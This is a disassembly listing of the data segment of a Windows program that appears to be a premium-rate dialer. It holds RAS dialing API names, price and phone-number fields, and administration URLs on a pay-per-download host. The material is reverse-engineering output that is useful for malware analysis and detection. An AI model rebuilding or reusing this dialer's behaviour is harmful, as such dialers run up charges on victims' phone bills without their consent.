aS db '%s',0 ; DATA XREF: sub_406670+5Bo
align 4
; char aDialDS[]
aDialDS db 'Dial: %d - %s',0 ; DATA XREF: sub_406720+244o
align 4
; char aUpdateentryDS[]
aUpdateentryDS db 'UpdateEntry: %d - %s',0 ; DATA XREF: sub_406720+1E3o
align 10h
; char aCc[]
aCc db 'cc',0 ; DATA XREF: sub_406E60+8DEo
; sub_408980+1B6o ...
align 4
; char aPrice2[]
aPrice2 db 'price2',0 ; DATA XREF: sub_406E60+8C7o
; sub_407820+562o
align 4
; char aPrice1[]
aPrice1 db 'price1',0 ; DATA XREF: sub_406E60+8ADo
; sub_407820+5D7o
align 4
; char aPhonenumber2[]
aPhonenumber2 db 'phonenumber2',0 ; DATA XREF: sub_406E60+893o
; sub_407820+548o ...
align 4
; char aPhonenumber1[]
aPhonenumber1 db 'phonenumber1',0 ; DATA XREF: sub_406E60+879o
; sub_407820+5BDo ...
align 4
aXx_0 db 'XX',0 ; DATA XREF: sub_406E60+559o
align 4
aCountrycode db 'countrycode',0 ; DATA XREF: sub_406E60+289o
aPrice db 'price',0 ; DATA XREF: sub_406E60+238o
; sub_407820+252o
align 4
aRealnumber db 'realnumber',0 ; DATA XREF: sub_406E60+1EAo
; sub_407820+21Eo
align 4
aCall db 'call',0 ; DATA XREF: sub_406E60+1B9o
; sub_407820+1EDo
align 10h
aCallrecords_0 db '/callrecords',0 ; DATA XREF: sub_406E60+19Co
; sub_407820+1D0o
align 10h
aCallrecords db 'callrecords',0 ; DATA XREF: sub_406E60+176o
; sub_407820+1AAo
aHttpPrs_payp_0 db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip.asp',0
; DATA XREF: sub_406E60+74o
align 4
aDel db 'del',0 ; DATA XREF: sub_406E60+56o
; sub_407820+56o
aHttpPrs_payper db 'http://prs.payperdownload.nl',0 ; DATA XREF: sub_406E60+18o
; sub_406E60+3Fo ...
align 4
aHttpPrs_payp_1 db 'http://prs.payperdownload.nl/radius/dialer_admin/geoip2.asp?cc=',0
; DATA XREF: sub_407820+6Eo
; char aPrefix[]
aPrefix db 'Prefix',0 ; DATA XREF: sub_4084F0+1B9o
; sub_4086F0+1B6o ...
align 4
; char a2_0[]
a2_0 db '2.0',0 ; DATA XREF: sub_408BE0+6o
; char aConnecttime[]
aConnecttime db 'connecttime',0 ; DATA XREF: sub_408FC0+135o
; sub_409190+F7o
; char aPassword2[]
aPassword2 db 'password2',0 ; DATA XREF: sub_408FC0+E9o
; sub_409190+DDo
align 10h
; char aPassword1[]
aPassword1 db 'password1',0 ; DATA XREF: sub_408FC0+D0o
; sub_409190+C4o
align 4
; char aUsername2[]
aUsername2 db 'username2',0 ; DATA XREF: sub_408FC0+B3o
; sub_409190+ABo
align 4
; char aUsername1[]
aUsername1 db 'username1',0 ; DATA XREF: sub_408FC0+96o
; sub_409190+92o
align 4
; char aSerial[]
aSerial db 'serial',0 ; DATA XREF: sub_408FC0+79o
; sub_409190+75o
align 4
; char cbData[]
cbData db 'version',0 ; DATA XREF: sub_408FC0+54o
; sub_409190+5Ao
; char aRassetentrydia[]
aRassetentrydia db 'RasSetEntryDialParamsA',0 ; DATA XREF: sub_409520+A6o
align 4
; char aRasgetconnects[]
aRasgetconnects db 'RasGetConnectStatusA',0 ; DATA XREF: sub_409520+9Co
align 4
; char aRasenumconnect[]
aRasenumconnect db 'RasEnumConnectionsA',0 ; DATA XREF: sub_409520+86o
; char aRashangupa[]
aRashangupa db 'RasHangUpA',0 ; DATA XREF: sub_409520+76o
align 4
; char aRassetentrypro[]
aRassetentrypro db 'RasSetEntryPropertiesA',0 ; DATA XREF: sub_409520+6Co
align 4
; char aRasgetentrypro[]
aRasgetentrypro db 'RasGetEntryPropertiesA',0 ; DATA XREF: sub_409520+56o
align 4
; char aRasgeterrorstr[]
aRasgeterrorstr db 'RasGetErrorStringA',0 ; DATA XREF: sub_409520+46o
align 4
; char aRasdiala[]
aRasdiala db 'RasDialA',0 ; DATA XREF: sub_409520+3Co
align 4
; char aRasenumdevices[]
aRasenumdevices db 'RasEnumDevicesA',0 ; DATA XREF: sub_409520+2Co
; char aRasapi32_dll[]
aRasapi32_dll db 'RASAPI32.DLL',0 ; DATA XREF: sub_409520:loc_409530o
align 4
; char asc_40F704[]
asc_40F704: ; DATA XREF: sub_409840+14Ao
unicode 0, < >,0
; char asc_40F708[]
asc_40F708: ; DATA XREF: sub_409BD0+27o
unicode 0, <,>,0
; char aShgetfolderpat[]
aShgetfolderpat db 'SHGetFolderPathA',0 ; DATA XREF: sub_40A620:loc_40A642o
align 10h
; char aShfolder_dll[]
aShfolder_dll db 'SHFolder.dll',0 ; DATA XREF: sub_40A680+37o
align 10h
; char aShell32_dll[]
aShell32_dll db 'Shell32.dll',0 ; DATA XREF: sub_40A680+1Bo
; char a2x[]
a2x db '%%%2x',0 ; DATA XREF: sub_40AA70+66o
align 10h
dword_40F750 dd 1 ; DATA XREF: sub_40B575+Co
dword_40F754 dd 16h ; DATA XREF: sub_40B575:loc_40B5AAr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_40F8B8 dd offset word_40F8C2 ; DATA XREF: sub_40B283:loc_40B2B3r
; sub_40B283:loc_40B370r ...
dd offset word_40F8C2
db 2 dup(0)
word_40F8C2 dw 20h ; DATA XREF: .data:off_40F8B8o
; .data:0040F8BCo
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_40FAC4 dd 1 ; DATA XREF: sub_40B283:loc_40B29Br
; sub_40B283:loc_40B358r ...
dd 2Eh, 1
dword_40FAD0 dd 19930520h, 3 dup(0) ; DATA XREF: .text:0040BC2Bo
; sub_40BC32+2o
dword_40FAE0 dd 0 ; DATA XREF: sub_4010C0+31o
; sub_4010C0+36o ...
align 8
; HINSTANCE hInstance
hInstance dd 0 ; DATA XREF: sub_404DC0+3Br
dd 3 dup(0)
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_4010C0+9Bw
; sub_4010C0:loc_40118Cr ...
dd 6 dup(0)
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <0> ; DATA XREF: sub_404DC0+Co
; sub_404DC0+1Fo ...
dd 6 dup(0)
dword_40FB44 dd 0 ; DATA XREF: sub_4010C0+4Aw
dword_40FB48 dd 0 ; DATA XREF: sub_404DC0+1Ar
; sub_404DC0+27w ...
align 10h
dword_40FB50 dd 0 ; DATA XREF: sub_4010C0+21w
dword_40FB54 dd 0 ; DATA XREF: sub_4010C0+D4w
; sub_4010C0+101r ...
; DWORD dwFlags
dwFlags dd 0 ; DATA XREF: sub_4010C0+EAw
; sub_4010C0+F6r ...
dword_40FB5C dd 0 ; DATA XREF: sub_40AE50:loc_40AE70r
; sub_40AE50+28w
dd 0
dword_40FB64 dd 0 ; DATA XREF: sub_4010C0+12Fw
align 10h
dword_40FB70 dd 0Ah dup(0) ; DATA XREF: sub_4010C0+2Co
dword_40FB98 dd 0 ; DATA XREF: sub_4010C0+73w
dword_40FB9C dd 0 ; DATA XREF: sub_4010C0+7Fw
dword_40FBA0 dd 0 ; DATA XREF: sub_4010C0+84w
dword_40FBA4 dd 0 ; DATA XREF: sub_4010C0+8Aw
dword_40FBA8 dd 0 ; DATA XREF: sub_4010C0+36w
; sub_4010C0+195r ...
align 10h
dword_40FBB0 dd 0 ; DATA XREF: sub_402FF0+F1w
; sub_402FF0+116o
word_40FBB4 dw 0 ; DATA XREF: sub_402FF0+DEw
; sub_402FF0:loc_403174r
align 4
dword_40FBB8 dd 0 ; DATA XREF: sub_402FF0+F6w
word_40FBBC dw 0 ; DATA XREF: sub_402FF0+FCw
align 10h
dword_40FBC0 dd 0 ; DATA XREF: sub_402FF0+105w
word_40FBC4 dw 0 ; DATA XREF: sub_402FF0+10Bw
align 4
dword_40FBC8 dd 0 ; DATA XREF: sub_402FF0+133o
; sub_405830+25Br ...
; LPVOID lpMem
lpMem dd 0 ; DATA XREF: sub_4010C0+3C2w
; sub_4010C0+3CEr ...
dword_40FBD0 dd 0 ; DATA XREF: sub_406720:loc_40699Aw
; sub_406720+2BFr ...
; LPCSTR dword_40FBD4
dword_40FBD4 dd 0 ; DATA XREF: sub_405500r
; sub_405500+17w ...
; char dword_40FBD8[]
dword_40FBD8 dd 0 ; DATA XREF: sub_405830+282o
; sub_409840+77o ...
dword_40FBDC dd 0 ; DATA XREF: sub_409CE0+6Dw
; .text:00409D8Ar
dword_40FBE0 dd 0 ; DATA XREF: sub_40B283+1B9w
; sub_40B575+2Aw ...
dword_40FBE4 dd 0 ; DATA XREF: sub_40B575+6w
dd 6 dup(0)
dd 8 dup(?)
byte_40FC20 db ? ; DATA XREF: sub_40AFB0+2Dw
align 4
dword_40FC24 dd ? ; DATA XREF: sub_40AFB0+27w
dword_40FC28 dd ? ; DATA XREF: sub_40AFB0+4r
; sub_40AFB0+8Bw
align 10h
dword_40FC30 dd ? ; DATA XREF: sub_40B4C8+1Er
; sub_40B50B+27w
dword_40FC34 dd ? ; DATA XREF: sub_40B4C8+27r
; sub_40B50B+2Cw
dword_40FC38 dd ? ; DATA XREF: sub_40B7C4+28r
; sub_40B7C4+4Cw ...
dd 2 dup(?)
; LCID Locale
Locale dd ? ; DATA XREF: sub_40B5DC+4r
; sub_40B5DC+9Fr ...
dd 3 dup(?)
dword_40FC54 dd ? ; DATA XREF: sub_40B7C4+C0r
; sub_40BA13+A6r
dd ?
dword_40FC5C dd ? ; DATA XREF: sub_40BA13+26r
; sub_40BA13:loc_40BA7Dw
byte_40FC60 db ? ; DATA XREF: sub_402FF0:loc_4030B7r
; sub_402FF0+E7w
align 4
dword_40FC64 dd ? ; DATA XREF: sub_40AFB0+3Er
dword_40FC68 dd ? ; DATA XREF: sub_40AFB0+35r
; sub_40AFB0+57r
_data ends
end start